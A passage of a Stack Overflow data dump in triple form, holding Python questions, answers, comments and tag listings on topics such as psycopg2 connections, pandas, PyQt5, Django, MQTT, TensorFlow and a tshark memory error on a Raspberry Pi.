has body: I am trying to write dataframes to postgres . For that DBAPI used is psycogp2. localconn='postgresql+psycopg2://postgres/PSWD@localhost:5432/localPG' localEng=engine.create_engine(localconn) df.to_sql("DUMMY", localEng) But its throwing error (psycopg2.OperationalError) could not translate host name postgres to address: Name or service not known localPG is the database name. Where I am doing wrong?
tagged with: python-2.7
score: 1

http://stackoverflow.com/a/71481261
answers question: http://stackoverflow.com/q/46957416
score: 1
has comment: http://stackoverflow.com/comment/129398543
has comment: http://stackoverflow.com/comment/129398501
downvote count: 0
upvote count: 1
has body: according to the python 3.9 docs the below is how to do it - https://docs.python.org/3.9/library/decimal.html#decimal-faq def remove_exponent(d): return d.quantize(Decimal(1)) if d == d.to_integral() else d.normalize()
has comment: http://stackoverflow.com/comment/129391639
type: Answer

android
tags question: http://stackoverflow.com/q/47019422
tags question: http://stackoverflow.com/q/46997564
tags question: http://stackoverflow.com/q/46951765
tags question: http://stackoverflow.com/q/47027304
tags question: http://stackoverflow.com/q/46978393
tags question: http://stackoverflow.com/q/46967830
tags question: http://stackoverflow.com/q/46915167
tags question: http://stackoverflow.com/q/47008259
tags question: http://stackoverflow.com/q/47018513
tags question: http://stackoverflow.com/q/46960900
tags question: http://stackoverflow.com/q/47038588
tags question: http://stackoverflow.com/q/47029048
tags question: http://stackoverflow.com/q/46939418
tag name: android
tags question: http://stackoverflow.com/q/46929246
type: Tag
tags question: http://stackoverflow.com/q/47020486
tags question: http://stackoverflow.com/q/46938921
tags question: http://stackoverflow.com/q/46967550

http://stackoverflow.com/comment/81045419
type: QuestionComment
comment on: http://stackoverflow.com/q/47049162
score: 0
has text: same here with 2.7/ OsX
type: Comment

http://stackoverflow.com/q/46971473
has comment: http://stackoverflow.com/comment/80925598
has title: Cannot allocate memory with tshark in Python
has comment: http://stackoverflow.com/comment/80945282
tagged with: tshark
has body: So, I have been playing around with my Raspberry Pi Zero and tshark in SSH when I thought, why not make a script that did all the work for me? So I used nano and created a python file called script.py and inside I wrote: import os os.system('sudo tshark -i eth0 -w capture-output.pcap') I then did /python script.py which started off well but when it got to capturing on eth0 it stopped and said: tshark: Couldn't create child process: cannot allocate memory. Sorry about my python newbieness but please help because I am designing a Hak5 Packet squrriel clone. Thank you anyway and I look forward to hearing from you soon, Thomas EDIT So, I have kind of resolved this issue by doing sudo -i then creating a sh file instead of a python one but I prefer the python language so would really like to know what was happening. Thank you very much, Thomas
has comment: http://stackoverflow.com/comment/80945711
has comment: http://stackoverflow.com/comment/80957612
has comment: http://stackoverflow.com/comment/80927727
type: Question
tagged with: raspberry-pi
answer count: 0
has comment: http://stackoverflow.com/comment/80903196
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/80932257
tagged with: python
has comment: http://stackoverflow.com/comment/80922432
has comment: http://stackoverflow.com/comment/80967069
score: 0

http://stackoverflow.com/a/47007574
type: Answer
score: 0
has body: You could remove the punctuations first before you do the other string processing tasks. import string a = input('code: ') # Remove punctuations translator = str.maketrans('', '', string.punctuation) a = a.translate(translator) b = a.split() b.reverse() g = '' for i in b: if i[0] == i[0].upper(): g += i + ' ' print('says:', g.lower()[:-1]) (And as general suggestions, use more sensible variable names, and please describe the question clearer next time.)
answers question: http://stackoverflow.com/q/47007454

http://stackoverflow.com/comment/85507489
type: AnswerComment
has text: This will take too much time if Apple has million of objects in the database. Therefore, it should be iterated to decrease memory usage. `Apple.objects.all().iterator()`
score: 0
comment on: http://stackoverflow.com/a/47013540
type: Comment

http://stackoverflow.com/q/46960728
has comment: http://stackoverflow.com/comment/80868960
type: Question
accepted answer: http://stackoverflow.com/a/46960814
has answer: http://stackoverflow.com/a/46960814
has comment: http://stackoverflow.com/comment/80870063
has comment: http://stackoverflow.com/comment/80868900
has title: How do I produce a Hanning smoothing over data points within a dictionary?
answer count: 1
type: AnsweredQuestion
score: 0
has body: I have a dictionary, with 100 key, each key having 500 values. {'apple': [0.0, 0.0, 0.0, 0.2, 0.1....],'pears: [0.6, 0.2, 0.0, 0.2, 0.1....]....'oranges: [0.2, 0.1, 0.0, 0.1, 0.1.....]} I want to smooth over the values, specifically using the hanning methodology, so that it produces smooth lines when plotted in pandas? Any guidance on how can I do this would be appreciate.
tagged with: pandas
tagged with: smoothing
tagged with: python
tagged with: dictionary
has comment: http://stackoverflow.com/comment/80868924

http://stackoverflow.com/comment/80778147
type: Comment
comment on: http://stackoverflow.com/q/46915406
type: QuestionComment
has text: How are the end points determined? BTW, don't use `next` as a variable name, that shadows the built-in `next` function.
score: 1

http://stackoverflow.com/q/47007148
has comment: http://stackoverflow.com/comment/80961320
has comment: http://stackoverflow.com/comment/80961131
has comment: http://stackoverflow.com/comment/80961319
score: 2
has comment: http://stackoverflow.com/comment/80961350
has comment: http://stackoverflow.com/comment/80961141
has comment: http://stackoverflow.com/comment/80963832
answer count: 0
has comment: http://stackoverflow.com/comment/80961313
duplicate of: http://stackoverflow.com/q/12806122
has title: Python3.6.3, ModuleNotFoundError: No module named '_bz2'
downvote count: 0
tagged with: bzip2
has comment: http://stackoverflow.com/comment/80961275
has comment: http://stackoverflow.com/comment/80961302
has comment: http://stackoverflow.com/comment/80962089
favorite count: 0
has comment: http://stackoverflow.com/comment/80962051
type: Question
tagged with: python-3.x
tagged with: bz2
duplicate of: http://stackoverflow.com/q/8115280
upvote count: 2
has body: In Linux, CentOS I download the bzip tar file(bzip2-1.0.6.tar.gz) and make &amp;&amp; make install Then I recompile Python-3.6.3 ./configure --prefix=/home/gt/Py36 make &amp;&amp; make install Then I import bz2 in /home/gt/Py36/bin/python3 and get ModuleNotFoundError: No module named '_bz2' Then I cp /usr/lib64/python2.7/lib-dynload/bz2.so /home/gt/Py36/lib/python3.6/ Then I get ImportError: dynamic module does not define module export function (PyInit_bz2) when import bz2
type: UnansweredQuestion
tagged with: python
tagged with: python-3.6

http://stackoverflow.com/q/47010570
has body: I need to compare excel sheets, the script will see the first data on Sheet1 then will scan the Sheet2 for the same data, if no identical it will be printed out, then move to the next cell of Sheet1 it will scan again the Sheet2 for idetical data and so on..., I have the idea but I don't know how to start this using python language.
tagged with: python
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/80968535
linked to: http://stackoverflow.com/q/37113173
has title: Compare excel sheets by scanning the second sheet
score: 0
answer count: 0
has comment: http://stackoverflow.com/comment/80967553
has comment: http://stackoverflow.com/comment/80967562
type: Question

http://stackoverflow.com/comment/80911503
has text: You sadly cannot write code to escape backslashes once you have already put those backslashes into a string literal. You must either manually escape them, or use raw strings (as the accepted answer did).
comment on: http://stackoverflow.com/a/46981936
score: 0
type: Comment
type: AnswerComment

http://stackoverflow.com/comment/81028247
type: AnswerComment
score: 0
comment on: http://stackoverflow.com/a/47040668
type: Comment
has text: Thank you. this helps a lot!

http://stackoverflow.com/comment/81066736
comment on: http://stackoverflow.com/a/47059610
score: 0
has text: Thank you, it's a good idea but still, which method in custom field is responsible for how the value looks like in the HTML?
type: Comment
type: AnswerComment

http://stackoverflow.com/q/47010506
has title: Is this always necessary to use r before path declaration in python
favorite count: 0
has answer: http://stackoverflow.com/a/47010648
type: Question
has answer: http://stackoverflow.com/a/47010610
possible better answer: http://stackoverflow.com/a/47010610
answer count: 5
has comment: http://stackoverflow.com/comment/80967359
has answer: http://stackoverflow.com/a/47010557
tagged with: path
has answer: http://stackoverflow.com/a/74561327
has body: I have often seen syntax like this in python code. import os os.chdir(r'C:\Users\test\Desktop') I was wondering why would I need to give r before the path, I believe it has something to do with '\' in the path , Is there any other way to give path instead of using r''
tagged with: python
score: 2
upvote count: 2
has answer: http://stackoverflow.com/a/47010606
type: AnsweredQuestion
downvote count: 0
accepted answer: http://stackoverflow.com/a/47010557

http://stackoverflow.com/comment/111919210
type: Comment
comment on: http://stackoverflow.com/a/49966719
type: AnswerComment
has text: If this doesn't work, check your `.dockerignore` file!
score: 6

http://stackoverflow.com/comment/80851358
comment on: http://stackoverflow.com/q/46951793
score: 0
has text: It should work as you want given your code, since reduce_mean will indeed create only one number. Are you sure you update global_step at each minimization step ?
type: Comment
type: QuestionComment

dockerfile
tags question: http://stackoverflow.com/q/46922184
tags question: http://stackoverflow.com/q/46907584
tag name: dockerfile
type: Tag
tags question: http://stackoverflow.com/q/47036793
tags question: http://stackoverflow.com/q/47015589
tags question: http://stackoverflow.com/q/47037525

http://stackoverflow.com/comment/81156974
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/46966148
has text: Thanks for the response. I have been reading the code in the speech_commands and noted that their models are quite different from mine, e.g. no LSTM. I wonder why? Anyway, I am working on incorporating the TF models into my testbed and will evaluate their accuracy and performance. BTW, I noted that these examples use an MFCC component from Tensorflow, which means I can drop my dependency on librosa, that's an advantage already.
score: 0

http://stackoverflow.com/comment/80941883
comment on: http://stackoverflow.com/a/46997084
score: 0
type: AnswerComment
has text: I have one more question. If I am using boto3 can I import existing aws template which is in json with some modifications can I deploy the instance s?
type: Comment

http://stackoverflow.com/a/47021483
type: Answer
score: -1
answers question: http://stackoverflow.com/q/47021335
has comment: http://stackoverflow.com/comment/80989902
upvote count: 0
downvote count: 1
has body: if getal == rotateLeft(number): break return (count) Since break leaves the loop, you cannot ever reach the return statement; your code would simply fall off the end of the function, and return None. Also, your double-check of getal == rotateLeft(number) signals poor loop design; you should be able to test this once at the top of the loop, without making a second check within. REPAIR You have to handle two cases: If you find a multiplier that matches the rotation, return that multiplier. If all valid multipliers fail, then you return 0. So (a) how many multipliers do you try before you give up? (b) where do you put the two different return statements to handle those cases?

http://stackoverflow.com/comment/80791012
comment on: http://stackoverflow.com/q/46921831
score: 0
type: QuestionComment
type: Comment
has text: That's not what random is designed for. What you could do is something like `[_i] + random.sample(myList, 3)` which will ensure `_i` is in your list, or just keep generating lists until you find `_i` somewhere in one.

http://stackoverflow.com/comment/80901121
has text: Based on your previous question [here](https://stackoverflow.com/questions/46975135/json-wrong-loop-output-in-python), which is obviously related, why don't you create a `list` with all your lines and then call `json.dumps()` on this `list` ? Essentially @NareshChaudhary's answer.
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/46976665
type: Comment

http://stackoverflow.com/q/46976254
has title: How to insert items periodically to the List of another python script?
type: AnsweredQuestion
score: 2
tagged with: python-2.7
has body: I have an issue updating the items of List L[] from another Python script file. below are the two simple files that I have now,, any help/suggestion/advise will be highly appreciated. script1.py import time, threading L=[] def first(): if len(L)!=0: x = L.pop() print 'The element', x, 'left the list L' else: print 'L is empty now ...' threading.Timer(10, first).start() first() script2.py from __main__ import * import time import script1 c = 1 def pass_arg(): global c c+=1 L.append(c) print 'will pass value to the list L of script1.py' threading.Timer(10, pass_arg).start() pass_arg() The issue that I face is that sript2 could not reach the defined list L of script1. Also, the script2 starts to follow all the running function/s of script1!? Many thanks in advance, After editing the previous code based on the recommendations, now I have the following scripts: script1.py from __main__ import * import time, threading class ListHolder: def __init__(self): self.L = [] def first(self): if len(self.L)!=0: x = self.L .pop() print 'The element', x ,'left the list L' else: print 'L is empty now ...' threading.Timer(10, self.first).start() R = ListHolder() R.first() script2.py from __main__ import * import time, threading from script1 import ListHolder c = 1 X = ListHolder() def pass_arg(): global c c+=1 X.L.append(c) print X.L print 'will pass value to the list L of script1.py' threading.Timer(10, pass_arg).start() pass_arg() The main issue now is that the new added items by script2.py are not passed to script1.py, hence the List in script1.py remains empty all the time and the change is not reflected on the script1 list. Any suggestions?
upvote count: 2
has answer: http://stackoverflow.com/a/46976470
answer count: 1
downvote count: 0
linked to: http://stackoverflow.com/q/423379
favorite count: 0
type: Question
accepted answer: http://stackoverflow.com/a/46976470
tagged with: message-passing
tagged with: ipc
tagged with: python

http://stackoverflow.com/comment/82623301
type: Comment
score: 0
type: AnswerComment
has text: @user3666197 You might be interested in checking out the answer I just posted based on a recent Numba update.
comment on: http://stackoverflow.com/a/46931460

http://stackoverflow.com/comment/81111955
type: Comment
has text: @ShadowRanger thanks I wasn't aware of that!
type: AnswerComment
score: 0
comment on: http://stackoverflow.com/a/46966119

http://stackoverflow.com/comment/81023446
comment on: http://stackoverflow.com/a/47038464
type: Comment
score: 0
type: AnswerComment
has text: That doesn't really make a whole lot of difference. If you write it in the module's scope, you can perfectly depend on it being there.

http://stackoverflow.com/comment/81019982
type: Comment
comment on: http://stackoverflow.com/a/47033680
type: AnswerComment
has text: @Iwan I am not sure how you want to organize the data and I am not a pandas expert. Try adding after `extractall` something like 1) `.reset_index(level=0, drop=True)` or 2) `.unstack().apply(','.join, 1)`, or even 3) `.unstack().apply(lambda x:','.join(x.dropna()), axis=1)`, or 4) `.unstack().fillna('')`
score: 1

http://stackoverflow.com/comment/80972770
type: Comment
comment on: http://stackoverflow.com/q/47010745
has text: try two backlashes
score: 0
type: QuestionComment

http://stackoverflow.com/q/47021497
has title: Ambiguous output using super() function
has comment: http://stackoverflow.com/comment/80989990
has comment: http://stackoverflow.com/comment/80990019
tagged with: python
score: -1
linked to: http://stackoverflow.com/q/46335165
has comment: http://stackoverflow.com/comment/80989996
has body: I am trying to get the output of below python code containing super() function. class A(object): def go(self): print("go A go!") def stop(self): print("stop A stop!") def pause(self): raise Exception("Not Implemented") class B(A): def go(self): super(B, self).go() print("go B go!") class C(A): def go(self): super(C, self).go() print("go C go!") def stop(self): super(C, self).stop() print("stop C stop!") class D(B,C): def go(self): super(D, self).go() print("go D go!") def stop(self): super(D, self).stop() print("stop D stop!") def pause(self): print("wait D wait!") class E(B,C): pass a = A() b = B() c = C() d = D() e = E() #Find output of below function calls d.go() b.stop() My questions are: Why the output of d.go() is: go A go! go C go! go B go! go D go! Shouldn't there be one extra "go A go!" in output as class B and C both is calling method go of base class A using super() function? As there is no stop() function in Class B, then why b.stop() is returning "stop A stop!" rather than raising an error?
has answer: http://stackoverflow.com/a/47021717
upvote count: 0
answer count: 1
has comment: http://stackoverflow.com/comment/80990313
downvote count: 1
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/80990024
type: UnansweredQuestion

http://stackoverflow.com/q/47050665
answer count: 1
downvote count: 1
tagged with: pyqt5
accepted answer: http://stackoverflow.com/a/47058675
favorite count: 0
type: Question
tagged with: qstatusbar
has body: I'm using PyQt5 to create my application. The problem is that my window appears, but without any widgets (i.e. without my Main class, without any menus, toolbars, etc.) - just still empty. I'm using Python-3.6 and PyQt5, Windows 10 environment. Here's my code: app.py: #!/usr/bin/env python import sys from PyQt5.QtCore import Qt from PyQt5.QtGui import QIcon from PyQt5.QtWidgets import QApplication, qApp, QWidget, QMainWindow, QGridLayout, QMenuBar, QAction, QToolBar, QStatusBar from views import Main class TerraSoft(QMainWindow): def __init__(self): QMainWindow.__init__(self) self.setWindowTitle('TerraSoft') self.setWindowState(Qt.WindowMaximized) # init menu menubar = QMenuBar() fileMenu = menubar.addMenu('File') #init toolbar exitAct = QAction(QIcon('exit24.png'), 'Exit', self) exitAct.setShortcut('Ctrl+Q') exitAct.triggered.connect(qApp.quit) toolbar = QToolBar() # load ihm main = Main() centWidget = QWidget() # widget centralizer window = QGridLayout() window.addWidget(main, 0, 0) centWidget.setLayout(window) self.setCentralWidget(centWidget) #status bar statusBar = QStatusBar().showMessage('Bienvenue dans TerraSoft') # show ihm self.show() main.show() if __name__ == '__main__': app = QApplication(sys.argv) ex = TerraSoft() ex.show() sys.exit(app.exec_()) .views (main) import sys from PyQt5.QtCore import Qt from PyQt5.QtGui import QIcon from PyQt5.QtWidgets import QApplication, QWidget, qApp, QAction, QSplitter, QMenuBar, QToolBar, QGridLayout, QStatusBar from Family.views import FamilyTreeView from Specie.views import EventsTableView class Main(QWidget): """description of class""" def __init__(self, *args): QWidget.__init__(self, *args) # init elements of widget familyTreeView = FamilyTreeView(self) eventsTableView = EventsTableView(self) #init splitters HSplitter = QSplitter(Qt.Horizontal) VSplitter = QSplitter(Qt.Vertical) # add elements to splitters HSplitter.addWidget(familyTreeView) HSplitter.addWidget(eventsTableView) grid = QGridLayout() grid.addWidget(H…
tagged with: python
has answer: http://stackoverflow.com/a/47058675
tagged with: qmenubar
type: AnsweredQuestion
score: 0
has title: PyQt5: main window shows without any widgets
upvote count: 1
tagged with: qmainwindow

http://stackoverflow.com/comment/80937845
type: AnswerComment
has text: yes just adding to the solution and what eval can lead to. Thanks :)
type: Comment
score: 0
comment on: http://stackoverflow.com/a/46995653

http://stackoverflow.com/comment/80944740
type: Comment
has text: i know the product function from itertools already, however, this is not exactly the output i need. I need my output to be in the form of a LIST containing 3x3 MATRICES with all different combinations (ordering) of unit x/y/z vectors (positive and negative 1s).
type: AnswerComment
comment on: http://stackoverflow.com/a/46993339
score: 0

http://stackoverflow.com/comment/80798006
has text: @micheal_j_ward Try the suggestion to use double (escaped) backslashes. That's how Excel stores them internally. Excel doesn't strictly require them to be escaped but other applications, such as LibreOffice, might.
comment on: http://stackoverflow.com/a/46919993
score: 0
type: Comment
type: AnswerComment

http://stackoverflow.com/q/47019703
has comment: http://stackoverflow.com/comment/80986157
tagged with: python
score: -4
has body: I've just started Python and don't know how to use Tuples mutiple times,can anyone help me? My code is: import random A = ( "Gift Idea AN", "Gift Idea AN", "Gift Idea AN" ) B = ( "Gift Idea BD", "Gift Idea BD", "Gift Idea BD" ) C = ( "Gift Idea CM", "Gift Idea CM", "Gift Idea CM" ) print("Welcome to the gift giving thing!") input("Please pick an event:\n1 = Annaversary\n2 = Birthday\n3 = Christmas") if 1: print(A) elif 2: print(B) else: print(C)
has comment: http://stackoverflow.com/comment/80986216
has title: How to use multiple tuples in Python with the "if" command
has comment: http://stackoverflow.com/comment/80986186
favorite count: 0
type: Question
downvote count: 4
has comment: http://stackoverflow.com/comment/80986135
has answer: http://stackoverflow.com/a/47019825
upvote count: 0
type: UnansweredQuestion
answer count: 1

http://stackoverflow.com/q/46917658
answer count: 0
has title: load tensorflow .pb file for facenet
upvote count: 2
score: 2
type: UnansweredQuestion
downvote count: 0
tagged with: machine-learning
tagged with: tensorflow
favorite count: 0
type: Question
has body: I downloaded a tensorflow model from here. Now I am trying to load it in python. According to this the .pb file can be loaded like this: import tensorflow as tf import os import numpy as np from tensorflow.python.platform import gfile fname = "20170512-110547.pb" with tf.Session() as persisted_sess: print("load graph") with gfile.FastGFile(fname,'rb') as f: graph_def = tf.GraphDef() graph_def.ParseFromString(f.read()) persisted_sess.graph.as_default() tf.import_graph_def(graph_def, name='') print("map variables") persisted_result = persisted_sess.graph.get_tensor_by_name("saved_result:0") tf.add_to_collection(tf.GraphKeys.VARIABLES,persisted_result) try: saver = tf.train.Saver(tf.all_variables()) # 'Saver' misnomer! Better: Persister! except:pass print("load data") saver.restore(persisted_sess, "checkpoint.data") # now OK print(persisted_result.eval()) print("DONE") However I am getting the error --------------------------------------------------------------------------- KeyError Traceback (most recent call last) &lt;ipython-input-2-9995bff0b3cd&gt; in &lt;module&gt;() 12 graph_def.ParseFromString(f.read()) 13 persisted_sess.graph.as_default() ---&gt; 14 tf.import_graph_def(graph_def, name='') 15 print("map variables") 16 persisted_result = persisted_sess.graph.get_tensor_by_name("saved_result:0") /net/hciserver03/storage/oblum/venvs/compvisgpu01/lib/python2.7/site-packages/tensorflow/python/framework/importer.pyc in import_graph_def(graph_def, input_map, return_elements, name, op_dict, producer_op_list) 256 for node in graph_def.node: 257 # Set any default attr values that aren't present. --&gt; 258 op_def = op_dict[node.op] 259 for attr_def in op_def.attr: 260 key = attr_def.name KeyError: u'FIFOQueueV2'
tagged with: python

http://stackoverflow.com/q/46992551
type: UnansweredQuestion
has body: I'm trying to use a code to send a post to a broker and I've some problems. The code is below: import paho.mqtt.client as mqtt def on_connect(self, client, userdata, rc): if rc==0: print("successful connection") client.subscribe("HelloWorld") else: print("connection fail") #the subscriber will not receive the message def on_message (client, userdata, msg): print( str(msg.payload.decode('UTF-8'))) #Post Posted client= mqtt.Client() client.on_connect = on_connect #Create the "client" object client.on_message = on_message client.username_pw_set("TypeUser",typePassaword) # I omitted username and password client.connect('TypeURLBroker',TypePort) #Broker Online. 1º Termo: Url do broker; 2º Termo: Port client.loop_start() while 0==0: mymsg='Hello World' client.publish(topic='HelloWorld/', payload=mymsg) Some errors appears and I don't have any idea to solve them. I need a little help. List of errors: successful connection Exception in thread Thread-6: Traceback (most recent call last): File "C:\Users\fvs\AppData\Local\Programs\Python\Python35\lib\threading.py", line 914, in _bootstrap_inner self.run() File "C:\Users\fvs\AppData\Local\Programs\Python\Python35\lib\threading.py", line 862, in run self._target(*self._args, **self._kwargs) File "C:\Users\fvs\AppData\Local\Programs\Python\Python35\lib\site-packages\paho\mqtt\client.py", line 2606, in _thread_main self.loop_forever(retry_first_connection=True) File "C:\Users\fvs\AppData\Local\Programs\Python\Python35\lib\site-packages\paho\mqtt\client.py", line 1470, in loop_forever rc = self.loop(timeout, max_packets) File "C:\Users\fvs\AppData\Local\Programs\Python\Python35\lib\site-packages\paho\mqtt\client.py", line 995, in loop rc = self.loop_read(max_packets) File "C:\Users\fvs\AppData\Local\Programs\Python\Python35\lib\site-packages\paho\mqtt\client.py", line 1273, in loop_read rc = self._packet_read() File "C:\Users\fvs\AppData\Local\Programs\Python\Python35\lib\site-packages\paho\mqtt\client.py", line 1838, in _packet_re…
tagged with: python
upvote count: 4
has answer: http://stackoverflow.com/a/46992602
score: 2
downvote count: 2
answer count: 1
favorite count: 0
type: Question
has title: AttributeError: 'NoneType' object has no attribute 'subscribe'

http://stackoverflow.com/q/46999146
score: 29
has body: Given a Series like import pandas as pd s = pd.Series(['foo', 'bar', 42]) I would like to obtain a 'sub-series' pd.Series(['foo', 'bar']) in which all values are strings. I've tried Boolean indexing like so: s[isinstance(s, str)] but this gives a KeyError: False In my search for suitable methods so far I came across select, but this imposes a criterion on the labels, not the values. How can I filter based on (the type of) the values in this case?
favorite count: 0
type: Question
has answer: http://stackoverflow.com/a/46999247
upvote count: 29
tagged with: python
possible better answer: http://stackoverflow.com/a/46999177
type: AnsweredQuestion
downvote count: 0
has answer: http://stackoverflow.com/a/46999157
has answer: http://stackoverflow.com/a/46999177
answer count: 3
tagged with: pandas
accepted answer: http://stackoverflow.com/a/46999157
has title: In Pandas, how to filter a Series based on the type of the values?
linked to: http://stackoverflow.com/q/35351629

http://stackoverflow.com/comment/80922504
has text: Hm. It works for me with the example you provided. Have you noticed what was changed? `number = number * percent` and `print('generation {}: {} individuals'.format(count, round(number, -1)))`
comment on: http://stackoverflow.com/a/46971540
type: Comment
score: 0
type: AnswerComment

http://stackoverflow.com/comment/80810712
type: QuestionComment
has text: Don't worry and welcome to StackOverflow. BTW I just checked out, and scipy uses PIL images while OpenCV uses numpy arrays... probably they are not compatible at all... just change the misc.imread function to cv2.imread. BTW you can read the image in greyscale directly with opencv. Also, try going step by step to see where it may fail.
comment on: http://stackoverflow.com/q/46930761
score: 1
type: Comment

http://stackoverflow.com/comment/80965473
type: Comment
score: 43
type: AnswerComment
comment on: http://stackoverflow.com/a/47007761
has text: It is not "pythonic" to sacrifice all clarity for brevity, which I think is the case here. It's not a straightforward construct.

http://stackoverflow.com/a/46993983
has comment: http://stackoverflow.com/comment/80934396
type: Answer
score: 2
answers question: http://stackoverflow.com/q/46993962
upvote count: 2
has body: You can build a list comprehension: nums = [1,2,3,4,5] over_two = [num &gt; 2 for num in nums] output: [False, False, True, True, True]
downvote count: 0
has comment: http://stackoverflow.com/comment/80934380
has comment: http://stackoverflow.com/comment/80934401

http://stackoverflow.com/comment/80953243
score: 2
comment on: http://stackoverflow.com/q/47003093
type: Comment
type: QuestionComment
has text: I really can't stress strongly enough that you should avoid `eval` unless you _really_ need it, and you certainly don't need it here. For details, please see [Eval really is dangerous](http://nedbatchelder.com/blog/201206/eval_really_is_dangerous.html) by SO veteran Ned Batchelder. Of course, this is probably just a "toy" program, not intended for real-world use, so you don't need to worry that someone could enter a command to erase your hard drive instead of a valid ID number. But using `eval` for trivial stuff is definitely not a good practice.

http://stackoverflow.com/a/46982856
has comment: http://stackoverflow.com/comment/80934185
answers question: http://stackoverflow.com/q/46982491
has comment: http://stackoverflow.com/comment/80914219
score: 1
has body: if (sum([x &gt;=quota for x in [a,b,c,d,e]])) &gt;= 2: print("Quota met") or if (sorted([a,b,c,d,e])[-2] &gt;= quota): print("Quota met")
type: Answer
has comment: http://stackoverflow.com/comment/80913187
accepted answer of: http://stackoverflow.com/q/46982491
downvote count: 0
upvote count: 1
has comment: http://stackoverflow.com/comment/80913152
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/80914327
has comment: http://stackoverflow.com/comment/80934157

http://stackoverflow.com/comment/80943004
score: 0
type: AnswerComment
has text: @DaquarisGeorgino not so. Because once a function returns, it can't come back and return something else like that.
comment on: http://stackoverflow.com/a/46997938
type: Comment

http://stackoverflow.com/comment/121005941
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/46926678
type: Comment
has text: @AnshulJain Have you made progress on finding the issue here? We have been having intermittent issues while committing data but I don't see any logs or errors around the fails. Once in a while, we see a connection terminated message but not around the time on unsuccessful commits. We started seeing this after upgrade to Postgres 12 and py3 not sure if that are relevant.

http://stackoverflow.com/a/47039426
answers question: http://stackoverflow.com/q/47038727
score: 0
has body: Just cast into a string and unpack: &gt;&gt;&gt; number1, number2, number3, number4 = str(1256) &gt;&gt;&gt; number1 '1' &gt;&gt;&gt; number2 '2' &gt;&gt;&gt; number3 '5' &gt;&gt;&gt; number4 '6'
type: Answer

http://stackoverflow.com/comment/81057821
type: Comment
has text: Yup, I updated the code. We can use enumerate to save the index of each line. Then we can check if the index+1 (the next item) is also a mainline. If it's just add that to the dict with an empty value.
comment on: http://stackoverflow.com/a/47054862
type: AnswerComment
score: 1

http://stackoverflow.com/q/46993980
answer count: 4
has body: I have a django ecommerce project that works fine till I decided to improve it. I let users place order on certain services but every time they place an order they have to always input their details (name, emil, address etc) so I decided to upgrade the application so that user can add their billing address and it can be referenced in the order or continue as a guest. Model class Order(models.Model): first_name = models.CharField(max_length=50) last_name = models.CharField(max_length=50) email = models.EmailField() address = models.CharField(max_length=250) postal_code = models.CharField(max_length=20) city = models.CharField(max_length=100) created = models.DateTimeField(auto_now_add=True) updated = models.DateTimeField(auto_now=True) paid = models.BooleanField(default=False) class OrderItem(models.Model): order = models.ForeignKey(Order, related_name='items') product = models.ForeignKey(Product,related_name='order_items') price = models.DecimalField(max_digits=10, decimal_places=2) quantity = models.PositiveIntegerField(default=1) view def order_create(request): cart = Cart(request) if request.method == 'POST': form = OrderCreateForm(request.POST) if form.is_valid(): order = form.save() for item in cart: OrderItem.objects.create(order=order, product=item['product'],price=item['price'], quantity=item['quantity']) cart.clear() return render(request,'order/created.html', {'order': order}) else: form = OrderCreateForm() return render(request, 'order/create.html',{'cart': cart, 'form': form}) I then created an account app and extended django user so that user can register address and mobile so that the user does not have to type it every time he/she wants to place an order. my new model is class Order(models.Model): account = models.ForeignKey(Account, related_name='user_account') created = models.DateTimeField(auto_now_add=True) updated = models.DateTimeField(auto_now=True) paid = models.BooleanField(default=False) coupon = models.ForeignKey(Coupon, related_name='order…
has comment: http://stackoverflow.com/comment/80936064
type: UnansweredQuestion
downvote count: 0
tagged with: django
upvote count: 7
has answer: http://stackoverflow.com/a/48335625
has title: Django user model extension in an ecommerce application
favorite count: 0
type: Question
has answer: http://stackoverflow.com/a/48359479
has answer: http://stackoverflow.com/a/46994273
has answer: http://stackoverflow.com/a/48417187
has comment: http://stackoverflow.com/comment/80935746
score: 7
linked to: http://stackoverflow.com/q/44109
tagged with: python

http://stackoverflow.com/q/46999965
tagged with: http://stackoverflow.com/tag/csv
score: 0
has body: I am trying to extract data and write to a csv in the below code. As far as I can tell Selenium tends to print all the elements except for it does not seem to print the row or write to CSV. I’ve had this issue in the past though generally this was easily addressed by re-writing the job. I am using windows. Unfortunately I do not know why it is doing this as the job works functionally otherwise. My code below is: driver = webdriver.Chrome() driver.set_window_size(1024, 600) driver.maximize_window() try: os.remove('vtg121.csv') except OSError: pass driver.get('https://www.topbetta.com.au/sports/football/') SCROLL_PAUSE_TIME = 0.5 last_height = driver.execute_script("return document.body.scrollHeight") while True: driver.execute_script("window.scrollTo(0, document.body.scrollHeight);") time.sleep(SCROLL_PAUSE_TIME) new_height = driver.execute_script("return document.body.scrollHeight") if new_height == last_height: break last_height = new_height time.sleep(1) url = "https://www.topbetta.com.au/sports/football/" driver.get(url) counter = 0 for link in range(len(wait(driver, 15).until(EC.presence_of_all_elements_located((By.XPATH, '//a[@href="/sports" and ./div[@class="name"]]'))))): wait(driver, 15).until_not(EC.visibility_of_element_located((By.CLASS_NAME, "mask"))) link = wait(driver, 15).until(EC.presence_of_all_elements_located((By.XPATH, '//a[@href="/sports" and ./div[@class="name"]]')))[counter] link.location_once_scrolled_into_view link = wait(driver, 10).until(EC.element_to_be_clickable((By.XPATH, '(//a[@href="/sports" and ./div[@class="name"]])[%s]' % str(counter + 1)))) wait(driver, 15).until_not(EC.visibility_of_element_located((By.CLASS_NAME, "mask"))) header = driver.find_element_by_tag_name('header') header = driver.execute_script('arguments[0].hidden="true";', header) header = driver.find_element_by_xpath('//*[@id="js_body-region"]/div/div[1]/div[2]/div[2]/div/div[3]') header = driver.execute_script('arguments[0].hidden="true";', header) link.click() prin…
tagged with: selenium
type: Question
tagged with: python-3.x
has comment: http://stackoverflow.com/comment/80946528
type: UnansweredQuestion
tagged with: web-scraping
tagged with: python
has title: Job does not write to CSV or print row from scraping
has comment: http://stackoverflow.com/comment/80946551
answer count: 0

xpath
tags question: http://stackoverflow.com/q/46963104
tags question: http://stackoverflow.com/q/46907957
tags question: http://stackoverflow.com/q/46929976
tag name: xpath
tags question: http://stackoverflow.com/q/46946218
tags question: http://stackoverflow.com/q/47016113
type: Tag
tags question: http://stackoverflow.com/q/46985895
tags question: http://stackoverflow.com/q/47027802
tags question: http://stackoverflow.com/q/46997198
